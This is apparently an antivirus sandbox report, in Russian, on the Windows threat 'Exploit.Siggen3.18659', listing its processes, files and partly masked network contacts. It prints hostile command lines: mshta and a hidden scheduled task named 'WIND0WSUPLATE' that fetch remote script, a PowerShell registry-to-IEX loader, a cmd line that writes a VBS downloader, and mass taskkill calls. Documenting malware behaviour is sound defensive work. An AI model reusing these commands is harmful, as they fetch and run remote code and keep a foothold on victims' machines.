Exploit.Siggen3.18659

Техническая информация

Вредоносные функции

Запускает на исполнение

'<SYSTEM32>\taskkill.exe' /f /im RegAsm.exe
'<SYSTEM32>\taskkill.exe' /f /im InstallUtil.exe
'<SYSTEM32>\taskkill.exe' /f /im cvtres.exe
'<SYSTEM32>\taskkill.exe' /f /im vbc.exe
'<SYSTEM32>\taskkill.exe' /f /im msbuild.exe
'<SYSTEM32>\taskkill.exe' /f /im csc.exe
'<SYSTEM32>\taskkill.exe' /f /im aspnet_compiler.exe
'<SYSTEM32>\taskkill.exe' /f /im aspnet_regbrowsers
'<SYSTEM32>\taskkill.exe' /f /im CasPol.exe
'<SYSTEM32>\taskkill.exe' /f /im jsc.exe
'<SYSTEM32>\taskkill.exe' /f /im RegSvcs.exe
'<SYSTEM32>\taskkill.exe' /f /im aspnet_regiis.exe

Запускает на исполнение (эксплоит)

'<SYSTEM32>\mshta.exe' http://www.j.#p/aoiduiqwdjwhdj
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -noexit ((gp HKCU:\Software).Phuphurupulugugu)|IEX

Изменения в файловой системе

Создает следующие файлы

C:\users\public\hulalalmcrosoft.vbs

Сетевая активность

Подключается к

'j.#p':80
'bi#.ly':80
'cc#######archodooo.blogspot.com':443
'bl##ger.com':443
're#####es.blogblog.com':443
'fo###.#oogleapis.com':443
'go#####analytics.com':443
'ia#####6.us.archive.org':443

TCP

Другие

'cc#######archodooo.blogspot.com':443
'bl##ger.com':443
'fo###.#oogleapis.com':443
'go#####analytics.com':443
'ia#####6.us.archive.org':443

UDP

DNS ASK j.#p
DNS ASK bi#.ly
DNS ASK cc#######archodooo.blogspot.com
DNS ASK bl##ger.com
DNS ASK re#####es.blogblog.com
DNS ASK fo###.#oogleapis.com
DNS ASK go#####analytics.com
DNS ASK ia#####6.us.archive.org

Другое

Ищет следующие окна

ClassName: 'MS_AutodialMonitor' WindowName: ''
ClassName: 'MS_WebCheckMonitor' WindowName: ''
ClassName: '' WindowName: ''

Создает и запускает на исполнение

'<SYSTEM32>\wscript.exe' "C:\Users\Public\hulalalMCROSOFT.vbs"
'<SYSTEM32>\mshta.exe' http://www.j.#p/aoiduiqwdjwhdj' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c cd C:\Users\Public &@echo dim http_obj >>hulalalMCROSOFT.vbs &@echo dim stream_obj >>hulalalMCROSOFT.vbs &@echo dim shell_obj >>hulalalMCROSOFT.vbs &@echo set http_obj = CreateObject("Micros...' (со скрытым окном)
'<SYSTEM32>\taskkill.exe' /f /im aspnet_regiis.exe' (со скрытым окном)
'<SYSTEM32>\taskkill.exe' /f /im RegSvcs.exe' (со скрытым окном)
'<SYSTEM32>\taskkill.exe' /f /im jsc.exe' (со скрытым окном)
'<SYSTEM32>\taskkill.exe' /f /im CasPol.exe' (со скрытым окном)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -noexit ((gp HKCU:\Software).Phuphurupulugugu)|IEX' (со скрытым окном)
'<SYSTEM32>\taskkill.exe' /f /im aspnet_regbrowsers' (со скрытым окном)
'<SYSTEM32>\taskkill.exe' /f /im csc.exe' (со скрытым окном)
'<SYSTEM32>\taskkill.exe' /f /im msbuild.exe' (со скрытым окном)
'<SYSTEM32>\taskkill.exe' /f /im vbc.exe' (со скрытым окном)
'<SYSTEM32>\taskkill.exe' /f /im cvtres.exe' (со скрытым окном)
'<SYSTEM32>\taskkill.exe' /f /im InstallUtil.exe' (со скрытым окном)
'<SYSTEM32>\taskkill.exe' /f /im RegAsm.exe' (со скрытым окном)
'<SYSTEM32>\taskkill.exe' /f /im aspnet_compiler.exe' (со скрытым окном)
'<SYSTEM32>\schtasks.exe' /create /sc MINUTE /mo 80 /tn ""WIND0WSUPLATE"" /F /tr ""\""mshta""\""http://12##########948@getyournewblog.blogspot.com/p/50.html\"' (со скрытым окном)

Запускает на исполнение

'<SYSTEM32>\cmd.exe' /c cd C:\Users\Public &@echo dim http_obj >>hulalalMCROSOFT.vbs &@echo dim stream_obj >>hulalalMCROSOFT.vbs &@echo dim shell_obj >>hulalalMCROSOFT.vbs &@echo set http_obj = CreateObject("Micros...
'<SYSTEM32>\schtasks.exe' /create /sc MINUTE /mo 80 /tn ""WIND0WSUPLATE"" /F /tr ""\""mshta""\""http://12##########948@getyournewblog.blogspot.com/p/50.html\"
'%WINDIR%\microsoft.net\framework\v4.0.30319\aspnet_compiler.exe'